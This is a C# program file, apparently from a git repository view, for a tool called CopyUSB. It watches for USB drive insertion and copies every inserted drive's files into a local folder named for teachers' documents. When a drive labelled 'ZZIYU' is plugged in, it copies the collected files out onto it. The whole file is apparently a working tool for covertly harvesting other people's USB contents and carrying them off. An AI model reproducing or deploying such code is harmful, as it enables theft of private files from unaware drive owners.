CopyUSB/Program.cs

97 lines
2.5 KiB
C#
Raw Normal View History

2023-10-01 10:12:37 +00:00
using CopyUSB;
using System.Management;
static string GetVolumeLabel(string driveName)
{
try
{
DriveInfo driveInfo = new DriveInfo(driveName);
return driveInfo.VolumeLabel;
}
catch (Exception)
{
2023-10-12 11:20:24 +00:00
return "default";
2023-10-01 10:12:37 +00:00
}
}
string query = "SELECT * FROM Win32_VolumeChangeEvent WHERE EventType = 2";
ManagementEventWatcher managementEventWatcher = new(query);
Console.WriteLine("Waiting for USB...");
managementEventWatcher.EventArrived += (s, e) =>
{
2023-10-01 13:07:25 +00:00
/*Console.WriteLine("触发器被触发了");*/
2023-10-01 10:12:37 +00:00
string driveName = e.NewEvent.Properties["DriveName"].Value.ToString();
2023-10-12 11:20:24 +00:00
Console.WriteLine(driveName);
string dPath = Path.Join("D:", "老师文档", GetVolumeLabel(driveName));
2023-10-01 10:12:37 +00:00
Console.WriteLine($"Detected: {driveName} || Save To -> : {dPath}");
if (!Directory.Exists(dPath))
{
Directory.CreateDirectory(dPath);
}
2023-10-01 13:07:25 +00:00
var copyList = new List<(long, FileInfo, string, string)>();
2023-10-12 11:20:24 +00:00
var sortedList=new List<(long, FileInfo, string, string)>();
var dataDir = new DirectoryInfo(Path.Join("D:", "老师文档"));
if (GetVolumeLabel(driveName) == "ZZIYU")
{
Console.WriteLine("检测到拷出USB");
if (!dataDir.Exists)
{
dataDir.Create();
}
FileCopy.Copy(Path.Join("D:","老师文档"), Path.Join(driveName,"FILE", "USBCopy"), copyList);
sortedList = copyList.OrderBy(s => s.Item1).Select(s => s).ToList();
foreach (var copyItem in sortedList)
{
Console.WriteLine($"{copyItem.Item4} {copyItem.Item2} --> {copyItem.Item3} {copyItem.Item1 / 1024 / 1024}MB");
try
{
copyItem.Item2.CopyTo(copyItem.Item3, true);
}
catch (Exception ex)
{
Console.WriteLine($"Copy Error {copyItem.Item2}");
/*Console.WriteLine(ex.ToString());*/
}
}
Console.WriteLine("Copy out OK---------");
return;
}
2023-10-01 13:07:25 +00:00
FileCopy.Copy(driveName, dPath,copyList);
2023-10-12 11:20:24 +00:00
sortedList = copyList.OrderBy(s => s.Item1).Select(s => s).ToList();
2023-10-01 13:07:25 +00:00
/*Console.WriteLine($"元素个数{sortedList.Count()}");*/
foreach (var copyItem in sortedList)
{
Console.WriteLine($"{copyItem.Item4} {copyItem.Item2} --> {copyItem.Item3} {copyItem.Item1 / 1024 / 1024}MB");
try
{
copyItem.Item2.CopyTo(copyItem.Item3, true);
}
catch (Exception ex)
{
Console.WriteLine($"Copy Error {copyItem.Item2}");
/*Console.WriteLine(ex.ToString());*/
}
}
2023-10-01 10:56:34 +00:00
Console.WriteLine("\n--------------Scaned and waiting--------------\n");
2023-10-01 10:12:37 +00:00
};
managementEventWatcher.Start();
// 让程序保持运行状态
while (true)
{
Thread.Sleep(1000);
/*Console.WriteLine("一次休眠周期");*/
}